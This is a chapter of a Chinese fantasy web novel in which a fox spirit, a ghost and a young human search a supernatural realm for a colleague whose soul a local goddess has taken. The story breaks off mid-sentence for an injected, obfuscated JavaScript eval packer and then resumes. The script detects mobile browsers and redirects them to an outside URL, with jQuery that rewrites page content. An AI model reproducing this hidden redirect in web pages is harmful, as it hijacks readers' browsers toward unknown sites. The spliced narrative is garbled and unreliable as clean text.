“你,确定,没有,走错?”
邬稞脸上表情有点臭,令狐双盯着手机和巫山景区宣传册上的地图,脸上表情有点凝重,祝好跟在两人屁股后面大气都不敢出一个。
“不能飞吗?”
“障里面飞着来的风险太大了,你永远不知道未知的上空有些什么。”
“……”
“我用我到处求医问药的相当年打包票,这一次绝对不会再错了。”令狐双信誓旦旦。
“你要是真能找到路也不至于这么过年来都没找到药。”邬稞拳头梆硬。
“刚刚都还算有路走,现在怎么就拐到老林子里去了呢?”在第七次拐进深山林子里之后,邬稞终于忍无可忍,“睁大你的眼睛看看,这是路吗你就走?”
“这世上本没有路,走的人多了,自然就成了路。”令狐双讪笑。
“拿来。”邬稞冷冷道。
“给你就是了。”令狐双乖乖把手机递了过去,没有地图,纯靠指南针,邬稞定心心神看了半晌,终于在众人第十一车拐进林子里的时候,将手机又塞回了令狐双怀里,蹲在路边石头上,眼观鼻鼻观心。
一妖一鬼这下又谁也不说话了,果然没有导航的友情就是一盘散沙。适时,旁边又冒出一阵细若蚊呐的声音,一看,是祝好。
“我、我试试呢?我方向感还、还行。”
职场人必备守则:之不要抢在领导和前辈面前出风头。
虽然人总不会蠢到在一个更头上栽两次甚至三次,但是祝好还是想着,令狐双是很好的领导,邬稞也是很好的前辈,这样的行为也算不上出头。
嘶——好像也不是很难看懂,看样子大概在巫山背面就是苏况家所在的村子。
除了十一进十一出野林子被不知名草叶剐蹭得小腿又疼又痒之外,整个这一段路走得也还算是顺利,前面扒开一片深深的茅草甸子之后,点点似有似无的星火出现在眼前,水泥铺设的地面蜿蜒尽处,是村落。
“这下好办了,他家在……嗯,我来过的,在最里面一家。”
令狐双拨弄了一下额前的碎发,把风衣外套拢了拢,高跟鞋在水泥路面上发出滴答滴答清脆的响动,如果忽略掉鞋跟上沾着的泥土的话更有一番风情。
障里的时间接近薄暮,按理来说周遭该是暗得厉害,然而眼前这这座小房子却亮起了灯。
只有这一间房子亮了灯,里面有人,应该就是苏况。令狐双松了一口气,抬手敲了敲门,却没想到听见了一阵沙哑干枯而苍老的女人的声音。
“什么人……什么人啊……”
夜色中这样的声音显得格外诡异,祝好肩膀一抖,往邬稞背后一所,只探出双眼睛来往外偷看。
“什、什么声音?”
“别怕。”邬稞柔声安慰,敲门的令狐双略微让开了一点身形,邬稞的左右两手蓄力,双刀的轮廓闪着幽幽的蓝紫色光芒在黑暗中若隐若现。
“嘎吱——”
门被推开,所有人屏气凝神,然而开门之后并没有看见面色狰狞的鬼魅,而是一位眼角带着泪痕、身形佝偻的老妇人。
“苏婆婆?”令狐双诧异,回头给邬稞递了个眼色。
后者会意上前,搀扶了几乎摇摇欲坠的妇人一把,那双有着皲裂、皮肤松弛但是透露着温暖的手和邬稞微凉的指节握在一起,后者难以抗拒得诧异了一下。
居然是……活人。
不是障的造物,而是……真正意义上的活人。
“苏婆婆,我们是苏况的同事,他在家吗?”邬稞微微屈着膝,轻声问。
“他在,终于有人来了,终于有人来了……”老妇人看清了令狐双的脸——她是见过令狐双的,就像是找准了主心骨一样,拉着几个女孩子的手要她们进屋。
穿过堂屋,掀开小房间的门帘,祝好看见了一间十分充满生活气息的屋子,门框上像是记录身高的刻痕,墙壁上老旧的涂鸦,柜子里堆得和人一样高的课本,书桌上的相框,有苏况一个人的,有苏况和同学亦或者是朋友的,有他小时候的,有上学的时候的,还有工作之后和令狐双他们几个在三山路199号门口一起拍的。
再就是一张床,床上躺着一个人,脸色煞白,了无生气。
是苏况。
“他下午回来,没过多久就、就这样子了。他教过我打急救电话,可是……打不通……我到村里去找人帮忙,村里他婶子有上镇子里买菜用的三轮车,可以带他去医院……村子里一个人都没有……”
老妇人又抖了起来,死死握住了令狐双的手:“救救他,求求你们,能救救他吗?我姑娘就这一个孩子,我就那一个姑娘……”
她差点就要跪下,令狐双后背汗毛倒立,祝好没见过这样的场面,腿一软差点没也跪下对着她磕一个。眼看就要乱成一锅粥,令狐双只能是先稳住她,手心抚上她的后背心,一股暖流渐渐没入她的身体,苏婆婆这才渐渐冷静下来。
“他怎么样?”令狐双问一旁检查的邬稞。
“离魂了。”邬稞的声音中带着三分冷。
“怎么会离魂?”令狐双眉头紧锁,“上次我把他从那鬼地方捞回来之后可是打了死结。”
“花娘娘……是花娘娘……他是花娘娘保下来的孩子,现在花娘娘要带他走了……”
还没等令狐双细问苏况回来时的细节,听到什么“离魂”“捞回来”这样的说法,苏婆婆顿时面如死灰,嘴唇嗫嚅着说不出话来。
哪个花娘娘?什么花娘娘?苏婆婆拜过,看样子大概率是本地的神,名气且不大,她越想越越觉得熟悉,脑子里电光火石间想起来点什么——
要是那个花娘娘的话,她似乎好像大概也许还是拜过的!这个花娘娘不是管理生育和婚嫁的事情的吗?
故而一番追问下来,三人终于得知苏婆婆口中的花娘娘是哪一回事。
苏况这孩子胎里不足,打小就体弱,他妈妈生下他没有过几年就因为操劳过度没了,那时候他才不满六岁。
无恃无怙的孩子总是格外容易招惹一些厉鬼作祟或者是病痛,不大的孩子还没过母亲的丧期就病倒了,很重的病,大抵是肺上的热气一类,现在想起里仍旧心有余悸。
苏婆婆没念过书,但是为了这个孩子,城里所有医院都跑过了,注生娘娘、少司命君、床头婆婆、哪吒三太子各路神仙能拜的都拜了。
但是日子一天天过去,所有的所有无一不在告诉她,这个孩子没救了。治了那么多天,治了那么多钱,这孩子也就这几天的事情了,医院不收这个孩子,苏婆婆只能将他带回家。
回家的时候走的事山路,也是急病乱投医,她想起来山上还有个招云观,这是老观,观里供神,能保佑她的孩子,那她愿意拜一拜。从山脚到山顶,一步一叩拜,从主殿到偏殿,每个蒲团都跪过。
到最后一座偏殿的,最后一座神像的时候,有人告诉她,要想救这孩子,可以去巫山背后。
巫山背后乱山林子里,有一隅小庙,里面供奉了个女神,祭拜过的叫她花娘娘。
“她灵吗?”
“你诚心发愿,相信她不会不近人情。就算她不近人情……”那人看了一眼老妇人怀里面容都已经泛着青紫的男孩,“在如何,总坏不过现在了。”
*
“拜过她之后,苏况真的好起来了?”邬稞的脸色狐疑。
苏婆婆抹了抹眼角浑浊的泪花,点了点头。
“那他好了之后和之前有没有什么不一样的地方?”
“他……”苏婆婆仔细回想了一遭,才道,“小孩子没有之前那么有活力了,总感觉有些呆呆地笨笨的,过来好久才缓过来,这、这不是病傻了吗?”
这还真就不是病傻了。
令狐双到这基本上也就能猜出来前因后果了,其中关键应该就是处在这个不知道从哪里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926592|174593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冒出来的花娘娘身上,这件事情估计有些棘手,那位花娘娘要这是养出了神性的野神那可就难对付了。
然而现在也没有别的方法,总要先找到苏况才行,灵魂离体的时间越久,他的处境就越危险。被神明收走的魂魄往往无法立刻逃离,大概率会被滞涩在神明身旁一段时间,故而令狐双当机立断带上苏况去花娘娘庙。
*
然而苏况好歹是个一米八几生龙活虎血气方刚的大小伙,不轻,出了苏婆婆的小院子直到确定苏婆婆看不到之后,令狐双果断化出一条尾巴将他卷了起来。
苏婆婆那里她留了看门阵,还是很牢靠的,邬稞也留下了一柄匕首,相当于又上了一层保险。
一晚上净在林子里面钻了,要是顺利的话,找到苏况的魂儿,然后合力破障,前提是这个神是个脑筋正常的神,没什么太过分的未竟之愿。
这么回事这一天天的怎么总感觉最近有点背呢,令狐双不耐烦地揉了揉自己的耳朵。
在乱山林子里闷着头乱扎了不知道有多久,不知道差点多少次掉进暗沟,祝好第多少次被尤似鬼影的树影吓得失声尖叫,手里翟闲当时给的护身符都要被手汗泡得稀烂。
真是奇怪,太奇怪了,明明就是按照的苏婆婆说的方向走,按照她交代的位置找,但不知道为什么,就是找不到。祝好不必邬稞和令狐双,肉体凡胎,这一晚上下来差点没累个半死。
一个没没留神,脚下踩着了乱石猛然往前一扑,手撑在地上,好歹没有摔到脸,然而掌心已然是血刺呼啦一片,连带着护身符都染上了不少血迹。
掌心握着护身符的地方烫烫的,起初祝好以为真是给她疼出幻觉了,再三品味之后得出结论,该死的,这个玩意儿确实确实确实是在发烫啊,难道说这护身符真显灵了?
祝好疑神疑鬼半路,总算是在爬山爬得腿脚稀软之后,在一片角落的植物之后寻觅到了一条荒废了许久的小径。
小径的尽头,一座看上去有些低矮潦倒的小庙还是什么其他的东西坐落在哪里,墙头的瓦片稀烂破碎,墙皮脱落的只剩下底下的青砖,周遭的草木倒是很繁茂。
一看就是很长时间都没有人来过的样子。
这里就是花娘娘庙。
摇摇欲坠的木门被推开,一阵尘土和时间的味道骤然扑面而来,打开手电,灯光扫过处一抬眼,就能看见不大的庙宇中间供奉着一座泥塑的神像。
很符合广大质朴、纯善的劳动人命对于女神的设想,挺拔的身形,粗壮的手臂和腿,浑圆的腰肢和髋胯,一男一女两个童子侍奉在侧,猛虎仙鹤、蛟龙麒麟护法周身,女神面带微笑,面容慈祥温和,神态平静深邃。
就是面上的妆容有些滑稽,两片蒙着一层厚厚的灰尘的脸蛋子上用红纸剪了两块浑圆的形状用浆糊糊上,经年累月红纸破败不堪,然而上面的红色已经完全褪在了女神脸上。
嗯……同样很符合劳动人民质朴纯真的审美趋向。
但是这是在夜里,哪怕是再慈悲的神像,和灰尘、蛛网,斑驳光影一起混合交织着,跟别说这特么的还是在不知道哪个神的“障”里……
这就显得特别诡异了。
忽然,手电的光闪过神像旁边的角落,祝好这才注意到角落的阴影里负手背身站着一个人,看身形像邬稞,出声道:“邬稞姐,你站过来一点,那边暗……”
她话还没说完才反应过来,自己另一只手正死死拉着邬稞。邬稞旁边站着令狐双。
这破庙里特么的哪来的人啊?祝好冷汗如雨下,后背的汗毛都倒立了起来,顿时有些耳鸣目眩上不来气,脑子还没反应过来就尖叫出了声。
“啊——”
令狐双和邬稞也想叫。
静默得也如同一尊陈旧的神像的人这时转了身,目光微微扫过已经吓得魂不守舍的祝好和勉强镇定的令狐双和邬稞,露出一个笑来。
是翟闲。